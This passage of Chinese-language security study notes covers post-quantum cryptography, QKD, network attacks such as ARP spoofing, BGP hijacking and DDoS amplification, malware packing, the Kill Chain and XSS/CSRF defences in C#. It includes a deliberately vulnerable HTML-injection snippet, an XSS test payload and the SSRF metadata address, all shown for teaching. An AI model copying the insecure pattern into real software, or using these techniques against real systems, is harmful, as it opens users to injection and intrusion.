2. 發送方用接收方公鑰執行封裝（Encapsulate），產生：一個密文（Ciphertext）與一把共用密鑰（Shared Secret）。
3. 接收方用私鑰對密文執行解封裝（Decapsulate），還原相同的共用密鑰。
4. 雙方以共用密鑰進行對稱加密通訊。

「先收割，後解密」攻擊（Harvest Now, Decrypt Later）

攻擊者現在蒐集並儲存加密的傳輸資料，等量子電腦成熟後再解密。即使量子電腦今日尚未實用，具有長期機密性需求的資料（如政府機密、醫療紀錄）現在就需要開始遷移至 PQC 演算法。

對稱加密的量子威脅：Grover's Algorithm

Grover's Algorithm（格羅弗演算法） 主要威脅對稱加密系統，它能以二次方根（Quadratic）級別加速暴力破解，實質上將金鑰的安全長度減半：

演算法	傳統安全強度	量子電腦後有效強度	結論
AES-128	128 位元	64 位元	❌ 不足，不建議用於長期保護
AES-256	256 位元	128 位元	✅ 目前視為足夠，NIST 建議

對稱加密不需要換成 PQC 演算法，將金鑰長度提升至 256 位元即可應對 Grover's Algorithm。

量子金鑰分配（QKD）

量子金鑰分配（Quantum Key Distribution，QKD） 利用量子力學原理在雙方之間安全交換加密金鑰，任何竊聽行為都會干擾量子態，使接收方得以偵測到。

運作原理（以 BB84 協定為例）：

1. 發送方隨機以四種偏振態（↕、↔、↗、↘）傳送光子序列。
2. 接收方隨機選擇基（+型或×型）測量每個光子。
3. 雙方透過公開通道對照各自使用的基，保留「基相同」的量子位元作為原始金鑰材料。
4. 若竊聽者在傳輸途中測量光子，依海森堡測不準原理（Heisenberg Uncertainty Principle），量子態不可複製（No-cloning Theorem），測量行為本身就會改變量子態，導致接收方統計到異常的位元錯誤率，雙方丟棄此次金鑰。

QKD 與 PQC 的定位差異：

	QKD	PQC
安全基礎	量子物理定律（量子不可複製定理）	數學難題（格密碼、雜湊函式）
部署需求	需專用量子通道（光纖或衛星），硬體成本高	軟體演算法替換，可在現有網路基礎設施上運作
抵抗對象	任何竊聽（即使量子電腦也無法不留痕跡地竊取金鑰）	主要針對量子電腦的計算破解（Shor's Algorithm）
成熟度	短距離商用（數十至數百公里），長距離依賴中繼或衛星	NIST 已於 2024 年公佈首批標準，實用化進展快
主要限制	設備昂貴、距離受限、基礎設施不易擴展	演算法的正確性仍在持續驗證中

• QKD 解決「金鑰交換過程是否被竊聽」；PQC 解決「計算能力增強後加密是否仍能抵抗破解」。兩者目標互補，不互斥。
• 「先收割，後解密」攻擊可被 QKD 防範（竊聽當下即可被偵測），但 QKD 的高部署門檻使 PQC 成為更現實的短期過渡方案。

同態加密（Homomorphic Encryption）

同態加密允許對密文直接執行數學運算，解密後的結果等同於對明文先運算再加密的結果，全程無需解密原始資料。

直覺上密文看起來是一串無意義的亂碼（如 Base64 或 Hex），很難想像能對它「做數學」。關鍵在於兩類加密的設計目標不同：

	傳統加密（AES / RSA）	同態加密
設計目標	刻意破壞代數結構，讓密文與明文完全無關	刻意保留特定代數結構，使密文上的操作對應到明文的操作
密文運算	對密文做加減乘除，解密後得到無意義的結果	對密文做加法或乘法，解密後得到正確的明文運算結果
代價	效能高，廣泛應用	保留代數結構的同時維持語意安全，設計複雜、效能極低

現代 FHE 方案（BFV、BGV、CKKS 等）建立在 Ring-LWE 格密碼難題上，密文本質是高維向量/多項式，其代數結構天然支援加法與乘法的傳遞。這也使 FHE 同時具備後量子安全性。

類型	英文	支援運算	說明
部分同態（PHE）	Partial Homomorphic Encryption	僅加法 或 僅乘法	實作較簡單，RSA 乘法同態即屬此類
有限同態（SHE）	Somewhat Homomorphic Encryption	加法 + 有限次乘法	超過次數限制後誤差累積導致解密失敗
完全同態（FHE）	Fully Homomorphic Encryption	加法 + 乘法（不限次數）	理論上可執行任意計算，但運算開銷極高

• 典型應用：雲端機器學習（雲端供應商在不接觸原始個人資料的情況下訓練或推論模型）、跨機構醫療資料聯合分析（各機構共同分析但互不共享原始資料）。
• FHE 的現況：運算開銷遠高於明文計算（目前約慢數千至數萬倍），仍在研究與有限應用階段。
• 與 PQC 目的不同：PQC 解決「如何讓加密抵抗量子電腦破解」；同態加密解決「如何在不解密的前提下使用加密資料」。

網路攻擊

L2 資料連結層攻擊

ARP Spoofing（ARP 欺騙）

ARP（Address Resolution Protocol）負責將 IP 位址解析為 MAC 位址。在區域網路內，電腦要傳資料給另一台設備（例如閘道路由器）時，只知道對方的 IP，但實際網路傳輸需要 MAC 位址。ARP 的作用就是在內網廣播詢問：「請問 IP 192.168.1.1 的 MAC 是多少？」對方回覆後，雙方才能建立連線。

ARP 協定有一個合法的主動通知機制，稱為 Gratuitous ARP（無故 ARP）：設備不需等待詢問，可主動廣播自己的 IP/MAC 對應，常見於開機、更換網卡或 VRRP/HSRP 主備切換時，讓網段內所有設備快速更新 ARP 快取。由於 ARP 沒有驗證機制，設備收到這類主動廣播會直接更新快取，不會驗證來源是否合法。ARP Spoofing 正是濫用這個機制：攻擊者持續發送偽造的 Gratuitous ARP，讓受害者與閘道各自將對方的 MAC 更新為攻擊者的 MAC，進而實現中間人攻擊（MITM）。

攻擊影響：

• 中間人攻擊：竊聽或竄改未加密流量。
• DoS：丟棄截獲的流量，造成受害者網路中斷。
• Session 劫持：截取已認證的 Session Token。

防禦措施：

防禦機制	英文	說明
動態 ARP 檢測	DAI（Dynamic ARP Inspection）	交換器驗證 ARP 封包，僅允許合法的 IP/MAC 對應
靜態 ARP	Static ARP Entry	手動設定關鍵設備的 ARP 對應，防止被覆蓋
802.1X 認證	Port-based NAC	控制進入網段的設備身份，減少非授權設備
加密傳輸	HTTPS / TLS / IPsec	即使流量被截獲，仍無法讀取明文內容

L3 網路層攻擊

BGP Hijacking（BGP 路由劫持）

BGP（Border Gateway Protocol）是網際網路的核心路由協定，負責在各 ISP（如中華電信、Hinet）與大型網路業者之間交換路由資訊，決定「封包從哪條路走最快」。一般企業內網不會直接用到它，但整個網際網路的跨國流量轉發都依賴它運作。

BGP Hijacking 是指攻擊者惡意宣告不屬於自己的 IP 前綴，讓全球路由系統將流量導向攻擊者控制的系統。歷史上多次全球性網路中斷（如 Facebook 2021 年斷線數小時）的根本原因，就是 BGP 路由規則設定錯誤或遭到惡意操控。

為什麼攻擊有效：最長前綴匹配（Longest Prefix Match）

BGP 路由器查找目的地時，遵循「最長前綴優先（Longest Prefix Match）」原則，而前綴長度就是從左邊數，IP 位址裡有幾個 bit 是固定的。固定的 bit 越多，能匹配的地址範圍越小，路由器視之為越精確的指向。

以封包目的地 203.0.113.50 為例，先把它轉成二進位：

203      .  0       . 113      . 50
11001011 . 00000000 . 01110001 . 00110010

路由表裡有兩條規則，差異只在最後一個 octet 的第 1 個 bit：

/24：固定前 24 bit（前三組），後 8 bit 任意
11001011 . 00000000 . 01110001 . ????????
→ 203.0.113.0 ～ 203.0.113.255，共 256 個位址

/25：固定前 25 bit（前三組 + 第四組的第 1 個 bit），後 7 bit 任意
11001011 . 00000000 . 01110001 . 0???????
→ 第 25 bit 必須是 0，其餘任意
→ 203.0.113.0 ～ 203.0.113.127，共 128 個位址

203.0.113.50 的最後一組是 00110010，第 25 bit 是 0，同時符合兩條規則。但 /25 多固定了一個 bit、範圍更窄，路由器優先選它。攻擊者只要宣告比合法持有者更長的前綴，就能讓路由器把流量送到自己。

由於 BGP 本身不驗證宣告者是否真的擁有該 IP 範圍，其他 AS 會直接信任這份路由資訊並更新路由表。

正常路由 vs 劫持後對比：

攻擊手法：

• 攻擊者控制一個 AS，對 BGP 鄰居宣告目標 IP 範圍的子前綴（如原持有者宣告 /24，攻擊者宣告更精確的 /25），讓路由器優先把流量導至攻擊者。
• 可用於竊聽、流量分析、中間人攻擊（選擇性轉發流量）或 DoS（直接丟棄流量）。

防禦措施：

防禦機制	英文	說明
路由來源驗證	RPKI（Resource Public Key Infrastructure）	以 PKI 憑證驗證 AS 是否有權宣告特定 IP 前綴
BGP 安全擴充	BGPsec	對 BGP 路由宣告加上數位簽章，驗證路由路徑完整性
前綴過濾	Prefix Filtering	在 ISP 邊界過濾不合法的路由宣告
異常偵測	BGP Monitoring	監控路由表異常變化，及時發現劫持事件

L6-L7 應用層攻擊

SSL Stripping（SSL 剝離）

SSL Stripping 的破綻不在伺服器，而在於使用者輸入 bank.com 時不會主動加上 https://，瀏覽器為了相容性會先送出 HTTP 請求。攻擊者攔截的就是這個「第一個 HTTP 請求」。伺服器只與攻擊者建立 HTTPS 連線，完全不知道中間有人插手。

前提：取得中間人位置

手法	說明
ARP Spoofing	在同一網段偽造 ARP 回應，讓受害者的封包先送到攻擊者
惡意 Wi-Fi 熱點	架設開放熱點（如「Free_Airport_WiFi」），連上後攻擊者本身就是閘道

攻擊流程

攻擊者使用 sslstrip 等工具作為透明代理（Transparent Proxy），對伺服器假裝是正常客戶端，對受害者假裝是正常伺服器：

受害者看到的網頁外觀完全相同，唯一差別是網址列少了鎖頭圖示。伺服器端也全程正常，根本無從察覺。

防禦

HSTS 讓瀏覽器在封包送出前，就在內部將 http:// 強制升級為 https://，攻擊者永遠無法攔截到明文的第一個請求。

NBT-NS / LLMNR 毒化

Windows 解析主機名稱時，若 DNS 查詢失敗，會依序嘗試 LLMNR（Link-Local Multicast Name Resolution，連結本機多播名稱解析）和 NBT-NS（NetBIOS Name Service，NetBIOS 名稱服務）廣播，向內網所有設備詢問：「請問誰是 'fileserver'？」

這兩種廣播協定同樣沒有驗證機制，攻擊者可以偽裝成目標主機回應，讓受害者主動向攻擊者發起 NTLM 認證，攻擊者從中擷取 NTLM 雜湊值（Hash）。常用攻擊工具為 Responder。

攻擊影響：

• 擷取 NTLM Hash 後可離線暴力破解密碼。
• 直接進行 NTLM Relay 攻擊，以受害者身份存取其他內網資源，無需破解密碼。
• 是勒索軟體在企業內網橫向移動（Lateral Movement）的常用手法。

防禦措施：

防禦措施	說明
停用 LLMNR	透過 GPO 停用（Computer Configuration → Windows Settings → Name Resolution Policy）
停用 NBT-NS	在網路介面卡設定中停用 NetBIOS over TCP/IP
啟用 SMB 簽章	防止 NTLM Relay 攻擊，即使 Hash 被擷取也無法直接中繼
強密碼政策	減少 NTLM Hash 被暴力破解的機率

DNS Spoofing 與 Cache Poisoning

DNS 負責將網域名稱（如 bank.com）解析為 IP 位址。若攻擊者能讓受害者收到偽造的 DNS 回應，就能將流量導向惡意伺服器，即使使用者輸入的網址完全正確。

兩種攻擊的差異

攻擊	英文	目標	前提	影響範圍
DNS 欺騙	DNS Spoofing	單一使用者	需要 MITM 位置（如 ARP Spoofing）	僅受害者本機
DNS 快取毒化	DNS Cache Poisoning	DNS 解析器的快取	不需要在路徑上，可遠端發動	所有使用該解析器的用戶

DNS Cache Poisoning 原理

DNS 查詢使用 UDP，攻擊者可以在真正的回應抵達前，大量發送偽造的回應封包。只要偽造回應中的 Transaction ID（16-bit 隨機數）猜中，解析器就會接受並快取。2008 年 Dan Kaminsky 發現可結合來源 Port 猜測大幅提升成功率（Kaminsky Attack），促成 DNS 協定改進與 DNSSEC 的廣泛推動。

防禦措施

防禦措施	說明
DNSSEC	為 DNS 回應加上數位簽章，解析器可驗證回應未被竄改（詳見 DNS 安全）
隨機化來源 Port	增加攻擊者需猜測的隨機性，提高 Cache Poisoning 難度
DoH / DoT	加密 DNS 查詢，防止 on-path 攻擊者竄改回應

L3-L7 阻斷服務攻擊（DoS / DDoS）

攻擊大類別	具體攻擊手法	對應 OSI 層級	核心原理與行為特徵
巨量型攻擊（Volumetric） 目標：塞爆頻寬	UDP Flood	L4 傳輸層	傳送海量無意義的 UDP 封包到隨機 Port，單純以蠻力塞爆網路頻寬。
	DNS 放大攻擊（DNS Amplification）	L3/L4	偽造受害者 IP 向 DNS 查詢，利用 UDP 特性將數十倍大的回應流量「反射」並塞爆受害者。放大倍率約 28–54 倍。
	NTP 放大攻擊（NTP Amplification）	L3/L4	原理同 DNS 放大，但利用 NTP monlist 指令漏洞，放大倍率可達 500–700 倍。
	Memcached 放大攻擊（Memcached Amplification）	L3/L4	利用 Memcached（UDP port 11211）的不安全預設設定，放大倍率可高達 10,000–50,000 倍，是目前已知最高的反射放大協定。
協定型攻擊（Protocol） 目標：耗盡設備連線數	SYN Flood（握手攻擊）	L4 傳輸層	利用 TCP 三方交握漏洞，只發 SYN 要求連線但不完成最後確認，耗盡伺服器的連線狀態表。
	Ping of Death	L3 網路層	發送超過 IP 協定允許最大長度的畸形 ICMP 封包，導致接收端記憶體溢位或崩潰。
	SSL/TLS 耗盡	L6/L7	不斷發起 HTTPS 握手，利用「伺服器解密極度消耗 CPU」的特性癱瘓伺服器運算能力。
應用層攻擊（Application） 目標：耗盡系統資源	HTTP Flood（CC 攻擊；CC = Challenge Collapsar）	L7 應用層	模擬真實使用者，以極快速度不斷發送完整的 HTTP 請求（如不斷重整頁面或查詢資料庫），靠請求數量壓垮伺服器 CPU / 記憶體。
	Slowloris	L7 應用層	同樣是 HTTP 請求，但刻意拖慢傳送速度、永不傳完，讓連線一直開著不釋放，直到 HTTP 連線池全滿。靠的是佔著不放，而非數量。
	Connection Pool 耗盡	L7 應用層	同時發出超過資料庫連線池上限的並發請求，每個請求都觸發慢查詢或長事務，讓所有槽位在查詢期間持續被佔滿。合法請求出現「等待連線逾時」錯誤。不需資料庫憑證，透過 Web 介面即可發動。
	DNS Flood	L7 應用層	向目標網域的 DNS 伺服器發送海量隨機解析請求，使其無法服務正常使用者。

放大與反射型 DDoS

• 放大攻擊（Amplification） 通常也是反射型攻擊（Reflection）：偽造來源 IP，借用第三方伺服器（如 DNS/NTP/Memcached）把大量流量導向受害者。
• 放大倍率比較：DNS ≈ 28–54 倍 < NTP ≈ 500–700 倍 < Memcached ≈ 10,000–50,000 倍（最高）。
• 巨量型看的是 bps（每秒位元數，塞頻寬）；協定型/應用層看的是 pps（每秒封包數）或 rps（每秒請求數）。

三種應用層攻擊的差異

HTTP Flood、Slowloris、Connection Pool 耗盡都屬於應用層 DoS，但打的資源和手法不同：

攻擊	目標資源	手法
HTTP Flood	CPU / 記憶體（全面性）	海量完整請求，靠數量壓垮
Slowloris	HTTP 連線池	少量請求故意不傳完，連線永遠不釋放（「借而不還」）
Connection Pool 耗盡	資料庫連線池	觸發慢查詢，讓槽位在查詢期間持續被佔滿（「同時借滿」）

三者可疊加：HTTP Flood 的大量請求也可能連帶耗盡資料庫連線池。

Connection Pool 預設與代價：ADO.NET 的 Max Pool Size 預設為 100，以連線字串為單位（不同連線字串各自有獨立的 Pool）。上限設太高時，每條 SQL Server 連線都要消耗伺服器端記憶體（約 24 KB 起）與一條 Worker Thread，連線數過多會導致記憶體壓力上升、Thread 耗盡、CPU context switching 開銷增大，整體吞吐量反而下降。

防禦核心：在 Web 層以 Rate Limiting 擋掉異常並發，而非單純調高連線池上限，上限越高，攻擊者能佔滿的資源也越多。

巨量型攻擊流程（以 DNS 放大為例）

放大攻擊能成立，需要同時滿足兩個條件：

1. 回應遠大於請求：攻擊者只需送出小封包，卻能讓第三方伺服器產生數十倍甚至數萬倍的回應流量。DNS 的 ANY 查詢可回傳所有記錄（約 50 倍）；NTP 的 monlist 指令回傳最近 600 個連線主機清單（約 500–700 倍）；Memcached 把整個快取資料吐回來，最高可達 5 萬倍。
2. 可偽造來源 IP：UDP 沒有握手，伺服器不驗證來源 IP，收到封包就直接把回應打回「來源 IP」所指的位址。攻擊者把來源 IP 填成受害者的 IP，第三方伺服器就把巨量回應全送到受害者那裡，攻擊者自己完全不出現在最終流量裡。TCP 因為有三次握手，來源 IP 偽造後握手無法完成，放大手法只能用 UDP。

受害者收到的是它從未請求過的大量 DNS/NTP 回應，但這些封包都來自合法伺服器，在流量層面很難直接辨識是攻擊。

協定型攻擊流程（SYN Flood）

SYN Flood 利用 TCP 三次握手的設計：伺服器收到 SYN 後必須保留資源等待後續 ACK，攻擊者大量發出 SYN 但永遠不完成握手，讓伺服器的半開放連線表耗盡。

DDoS 上游緩解：BGP Flowspec（RFC 5575）

傳統 DDoS 緩解依賴流量清洗中心（Scrubbing Center）或 CDN Anycast 吸收流量，攻擊流量仍需先到達企業邊界再被過濾。BGP Flowspec 則更進一步，允許企業透過 BGP 協定將流量過濾規則廣播給上游 ISP 骨幹路由器，讓惡意流量在進入企業網路前就被丟棄。

面向	說明
原理	擴展了傳統 BGP 的能力，在 BGP 路由更新（Update）中攜帶過濾規則（NLRI），包含來源 IP、目的埠、協定、封包長度等條件，上游路由器收到後自動套用。
觸發方式	企業偵測到 DDoS 攻擊後，動態宣告 Flowspec 規則；攻擊停止後撤回規則，不影響正常路由。
防護範圍	可精確針對攻擊特徵（如來源 IP 段、UDP port 53 放大攻擊）進行過濾，比整段 IP 黑洞路由（Blackhole Routing）更精細。
限制	需要 ISP 與設備支援 RFC 5575；規則廣播存在傳播延遲（BGP 收斂時間）；誤設規則可能影響正常流量。

BGP Flowspec vs Blackhole Routing（RTBH）

• 黑洞路由（RTBH，Remotely Triggered Black Hole）：將攻擊目標 IP 的所有流量丟棄，阻止攻擊的同時也讓合法使用者無法連到該 IP。
• BGP Flowspec：可依五元組（來源/目的 IP、來源/目的埠、協定）精確過濾，只丟棄符合攻擊特徵的流量，合法流量正常通過；代價是規則較複雜且需 ISP 配合支援。

攻擊手法

惡意軟體與攻擊鏈

惡意軟體（Malware）類型對照表

類型	獨立存活能力（需宿主？）	擴散與觸發方式	主要目的與特徵	典型範例 / 備註
病毒 (Virus)	否（需依附於正常檔案）	需由使用者點擊或執行宿主檔案	破壞系統、感染其他檔案	巨集病毒、CIH
蠕蟲 (Worm)	是（獨立可執行檔）	主動掃描網路漏洞，自我複製並擴散	消耗網路頻寬與系統資源	Blaster（疾風）、SQL Slammer
木馬 (Trojan)	是（偽裝成正常軟體）	欺騙使用者主動下載與安裝	竊取機密、開後門讓駭客遠端控制	網銀木馬、遠端控制木馬（RAT，Remote Access Trojan）
勒索軟體 (Ransomware)	是	透過釣魚信件、漏洞或木馬植入	將檔案加密鎖死，勒索解密贖金	WannaCry（具蠕蟲擴散特性）、LockBit
間諜軟體 (Spyware)	是	夾帶於免費軟體或惡意網頁中	側錄鍵盤、監視瀏覽行為、竊取密碼	鍵盤側錄器（Keylogger）
邏輯炸彈 (Logic Bomb)	否（通常植入於正常程式）	達到特定條件（如特定日期、特定操作）才觸發	內部員工報復、定時破壞	惡意刪除資料庫腳本

勒索軟體支付前的 OFAC 制裁清單查驗義務

OFAC（Office of Foreign Assets Control，美國財政部海外資產控制辦公室） 維護制裁名單（SDN List），列明受美國制裁的國家、組織與個人。

對於總部或業務位於美國境內（或涉及美元交易）的企業：

• 若決定支付勒索贖金，必須先查驗攻擊者/收款方是否列於 OFAC 制裁名單上。
• 向被制裁的敵對國駭客組織或恐怖分子提供資金屬嚴重聯邦重罪，可能面臨鉅額罰款甚至刑事追訴，無論是否知情皆可能被追責（嚴格責任）。
• 即使未在制裁名單上，支付後也建議主動向 OFAC 申報（自願揭露可減輕責任）。

確認對象是否在清單上並非主要目的：企業不支付是為了避免成為制裁對象的資金來源，而非為確保攻擊者一定能解密，後者屬於談判與技術評估範疇。

病毒進階變種技術對照

• 多型病毒 (Polymorphic Virus)：每次感染時會改變自身的加密特徵碼，但解密後的惡意核心程式碼不變。目的是躲避傳統防毒軟體的特徵碼掃描。
• 變形病毒 (Metamorphic Virus)：每次感染都會重新編寫自身的程式碼（例如替換指令、插入垃圾碼），外觀與結構完全不同，但執行的惡意行為一樣，是最難偵測的類型。

加殼與混淆技術（Packing & Obfuscation）

防毒軟體的靜態分析是掃描硬碟上的檔案，比對已知惡意程式的特徵碼。加殼讓硬碟上的樣貌和真實程式碼完全不同，藉此繞過掃描：

加殼流程：

1. Packer 將原始惡意程式碼壓縮/加密，與負責解壓的外殼程式（Stub）合併成一個新執行檔
2. 防毒掃描時，看到的是壓縮後的亂碼 + Stub，找不到惡意特徵 → 放行
3. 使用者執行時，Stub 先跑，將原始碼解壓/解密後載入記憶體
4. 惡意程式碼在記憶體中才現形並執行

技術	運作方式	攻擊者目的	常見工具/手法
加殼（Packing）	原始碼壓縮/加密後包入 Stub，執行時由 Stub 解壓後載入記憶體	讓硬碟上的靜態樣貌與真實程式碼不同，繞過特徵碼掃描	UPX（通用壓縮）、Themida（商業級保護）、自訂 Packer
混淆（Obfuscation）	改寫程式碼結構（如打亂執行流程、插入垃圾碼），執行結果不變	增加逆向工程與人工分析的時間成本	變數重命名、控制流扁平化（Control Flow Flattening）、垃圾碼插入
加密封裝器（Crypter）	加殼的進階型態，以高強度加密保護 Payload，執行時才動態解密	實現 FUD（Fully Undetectable，完全免偵測），每次生成的檔案特徵碼均不同	客製化加密封裝器（Crypter）

如何識破加殼： 加殼後的執行檔在硬碟上會呈現三個異常，內容幾乎像亂碼（壓縮/加密後失去規律性）、正常程式應有的錯誤訊息和 API 名稱等可讀文字消失、對 Windows 的函式呼叫清單極度精簡（Stub 只需要少數幾個 API 把真正的程式載進記憶體，其餘呼叫在解壓後才出現）。

對抗手段： 沙箱（Sandbox）動態分析（讓它真的跑起來再看行為）、記憶體轉儲（Memory Dump）在解壓後抓記憶體快照分析、行為偵測取代特徵碼比對。

Cyber Kill Chain（網路殺傷鏈）對照表

Lockheed Martin 提出的 Cyber Kill Chain 將 APT（Advanced Persistent Threat，進階持續性威脅）攻擊拆解為 7 個階段：

階段	英文	中文	說明	典型活動
1	Reconnaissance	偵察	蒐集目標資訊	OSINT（Open-Source Intelligence，開源情報）、社交媒體調查、掃描公開服務
2	Weaponization	武器化	製作攻擊工具	將漏洞利用程式與 Payload 結合為可投遞的武器（如惡意 PDF）
3	Delivery	遞送	將武器投遞至目標	釣魚信件、惡意網站、USB 投放
4	Exploitation	利用	觸發漏洞	利用軟體漏洞、零日攻擊、使用者點擊惡意附件
5	Installation	安裝	植入持久化後門	安裝 RAT（Remote Access Trojan，遠端存取木馬）、建立排程工作、修改登錄機碼
6	Command & Control（C2）	指揮與控制	建立遠端控制通道	連回 C2 伺服器，接收指令
7	Actions on Objectives	目標行動	達成最終目的	資料竊取、資料破壞、橫向移動、勒索

Cyber Kill Chain vs MITRE ATT&CK

比較面向	Cyber Kill Chain	MITRE ATT&CK
結構	線性 7 階段鏈	戰術（Tactics）× 技術（Techniques）矩陣
粒度	高層次攻擊流程	細粒度技術與子技術（Sub-techniques）
適用場景	理解攻擊整體流程、事件後回溯	威脅偵測規則撰寫、紅藍隊演練
維護	Lockheed Martin 提出，較少更新	MITRE 持續更新，社群貢獻

• Kill Chain 的防禦思維：在任一階段中斷攻擊鏈即可阻止攻擊，越早階段中斷成本越低。
• ATT&CK 的防禦思維：針對每項技術建立偵測規則，提高攻擊者的成本與暴露風險。
• 兩者互補：用 Kill Chain 理解攻擊全貌，用 ATT&CK 建立細粒度偵測能力。
• Kill Chain 各階段對應的漏洞利用手法：Exploitation 階段常見 Buffer Overflow（緩衝區溢位）、ROP（Return-Oriented Programming，返回導向程式設計）；Installation 階段常見 DLL Side-Loading（DLL 側載）。

括號內為 MITRE ATT&CK 官方戰術編號（Tactic ID），可至 attack.mitre.org 依編號查詢該戰術下的所有具體技術。

Kill Chain 階段	對應 ATT&CK 戰術	補充
Reconnaissance	Reconnaissance（TA0043）	一對一對應，蒐集目標資訊。
Weaponization	Resource Development（TA0042）	取得或建立攻擊基礎設施與工具。
Delivery	Initial Access（TA0001）	釣魚、漏洞利用、供應鏈攻擊等投遞手段。
Exploitation	Execution（TA0002）、Defense Evasion（TA0005）	觸發漏洞後執行程式碼，並規避偵測。
Installation	Persistence（TA0003）、Privilege Escalation（TA0004）	植入後門並提升權限以維持存取。
C2	Command and Control（TA0011）	建立遠端控制通道。
Actions on Objectives	Collection（TA0009）、Exfiltration（TA0010）、Impact（TA0040）	蒐集、外洩資料或造成破壞。

MITRE 防禦側框架：

MITRE 除了 ATT&CK（攻擊者視角）之外，另有兩個防禦側框架：

框架	定位	說明
MITRE D3FEND	防守方百科全書	以知識圖譜方式整理防禦技術，並與 ATT&CK 的攻擊技術精確對應，每項 D3FEND 技術都標示能防禦哪些 ATT&CK TTPs；內容涵蓋強化（Harden）、偵測（Detect）、隔離（Isolate）、欺騙（Deceive）、驅逐（Evict）五大類防禦動作。
MITRE ENGAGE	主動防禦與對抗性接觸	專注於網路欺騙（Deception） 與防禦性交戰（Adversarial Engagement），指導防守方如何利用誘餌（Honeypot / Honey Token）、誤導資訊等主動手段，讓攻擊者暴露 TTP、消耗攻擊資源，並蒐集威脅情資。

三者定位區分

• ATT&CK：描述攻擊者「怎麼打」，供紅隊設計攻擊鏈、藍隊建立偵測規則。
• D3FEND：描述防守方「怎麼擋」，是 ATT&CK 的防禦側映射。
• ENGAGE：描述防守方「怎麼引誘與反制」，強調主動誘導攻擊者進入可觀測的環境。

Web 與 API 攻擊

跨站腳本攻擊（XSS）類型對照表

類型	惡意腳本存放位置	觸發條件	影響範圍	防禦核心重點
反射型 (Reflected XSS)	URL 參數中（未儲存於伺服器）	誘騙使用者點擊帶有惡意 Payload 的連結	點擊該連結的單一使用者	驗證與過濾 HTTP 請求參數
儲存型 (Stored XSS)	資料庫或檔案系統（永久儲存於伺服器）	任何使用者瀏覽到該染毒的頁面（如留言板、論壇）	瀏覽該頁面的所有使用者（殺傷力最大）	輸出編碼（Output Encoding）、過濾輸入內容
DOM 型 (DOM-based XSS)	前端瀏覽器 DOM 環境（伺服器完全不知情）	前端 JavaScript 讀取惡意來源並動態修改 DOM 時觸發	觸發該 DOM 操作的單一使用者	避免使用 innerHTML 等高風險 JS API

常見混淆：XSS / CSRF / SSRF

三者名稱相近但攻擊目標與機制完全不同：

比較面向	XSS（Cross-Site Scripting）	CSRF（Cross-Site Request Forgery）	SSRF（Server-Side Request Forgery）
攻擊目標	使用者的瀏覽器	使用者的已認證 Session	伺服器本身
核心機制	注入惡意腳本到網頁，在使用者瀏覽器中執行	利用使用者瀏覽器已保存的 Cookie，偽造請求送至目標網站	誘使伺服器向內部或外部資源發出請求
前提條件	網站未正確過濾/編碼輸出	使用者已登入目標網站且 Session 有效	伺服器接受使用者提供的 URL 並發出請求
攻擊者取得的能力	竊取 Cookie/Session、頁面竄改、鍵盤側錄	以受害者身分執行操作（如轉帳、改密碼）	存取內部服務（如雲端 metadata API 169.254.169.254）、Port 掃描
主要防禦	Output Encoding、CSP、HttpOnly Cookie	Anti-CSRF Token、SameSite Cookie、Referer 驗證	白名單 URL/IP、禁止私有 IP 範圍、不回傳完整回應
OWASP 分類	A05 Injection	A01 Broken Access Control	A01 Broken Access Control（原 2021 A10 SSRF）

• XSS 攻擊的是使用者瀏覽器（Client-side）；CSRF 借用使用者的認證狀態代為操作；SSRF 攻擊的是伺服器端。
• CSRF 不需要注入任何腳本，只需要使用者在登入狀態下訪問惡意頁面即可。
• 實務上 XSS 與 CSRF 常搭配使用：透過 XSS 注入一段自動發送 CSRF 請求的腳本。

C# 防禦 XSS：Output Encoding 與輸入驗證

錯誤示範：直接將使用者輸入嵌入 HTML

// ❌ 危險：直接拼接使用者輸入，攻擊者可注入 <script>alert('XSS')</script>
app.MapGet("/greet", (string name) =>
    Results.Content($"<h1>Hello, {name}</h1>", "text/html"));

正確做法：使用 HtmlEncoder 進行 Output Encoding

using System.Text.Encodings.Web;

app.MapGet("/greet", (string name) => {
    string safeName = HtmlEncoder.Default.Encode(name);
    return Results.Content($"<h1>Hello, {safeName}</h1>", "text/html");
});
// 輸入 <script>alert('XSS')</script>
// 輸出 &lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;（瀏覽器顯示為純文字）

ASP.NET Core Razor 自動編碼

Razor 檢視中使用 @ 語法輸出變數時，預設會自動進行 HTML Encoding：

// Razor 中 @Model.Name 自動編碼，安全
<p>@Model.Name</p>

// ❌ 危險：@Html.Raw() 繞過自動編碼，除非內容已確認安全，否則禁用
<p>@Html.Raw(Model.Name)</p>

CSP（Content Security Policy）標頭設定

// 在 Middleware 中加入 CSP 標頭，限制腳本來源
app.Use(async (context, next) => {
    context.Response.Headers.Append(
        "Content-Security-Policy",
        "default-src 'self'; script-src 'self'; style-src 'self'"
    );
    await next();
});

C# CSRF Token 驗證概念

ASP.NET Core 內建 Anti-Forgery Token 機制，透過雙重 Token 模式防禦 CSRF：

MVC Controller

// 表單自動產生隱藏欄位 __RequestVerificationToken
// Razor View：
// <form asp-action="Transfer" method="post">
//     @Html.AntiForgeryToken()
//     ...
// </form>

[HttpPost]
[ValidateAntiForgeryToken] // 驗證 Token，不符則回傳 400
public IActionResult Transfer(TransferRequest request) {
    // 執行轉帳邏輯
    return RedirectToAction("Success");
}

Minimal API / SPA 場景（手動取得 Token）

using Microsoft.AspNetCore.Antiforgery;

WebApplicationBuilder builder = WebApplication.CreateBuilder(args);
builder.Services.AddAntiforgery(options => {
    options.HeaderName = "X-XSRF-TOKEN"; // SPA 透過此 Header 送回 Token
});

WebApplication app = builder.Build();

app.MapGet("/antiforgery/token", (IAntiforgery antiforgery, HttpContext context) => {
    AntiforgeryTokenSet tokens = antiforgery.GetAndStoreTokens(context);
    // 將 Request Token 寫入 Cookie，前端 JavaScript 讀取後放入 Header
    context.Response.Cookies.Append("XSRF-TOKEN", tokens.RequestToken!,
        new CookieOptions { HttpOnly = false, SameSite = SameSiteMode.Strict });
    return Results.Ok();
});

app.MapPost("/api/transfer", async (IAntiforgery antiforgery, HttpContext context) => {
    await antiforgery.ValidateRequestAsync(context); // 驗證失敗拋出 AntiforgeryValidationException
    // 執行業務邏輯
    return Results.Ok();
});

• 原理：伺服器產生隨機 Token，嵌入表單隱藏欄位或 Cookie 中。提交時伺服器比對 Cookie Token 與表單/Header Token 是否一致。攻擊者的跨站請求無法讀取目標網站的 Cookie 內容（Same-Origin Policy），因此無法提供正確的 Token。
• 搭配 SameSite=Strict 或 SameSite=Lax Cookie 屬性，可進一步阻止瀏覽器在跨站請求中自動附帶 Cookie。

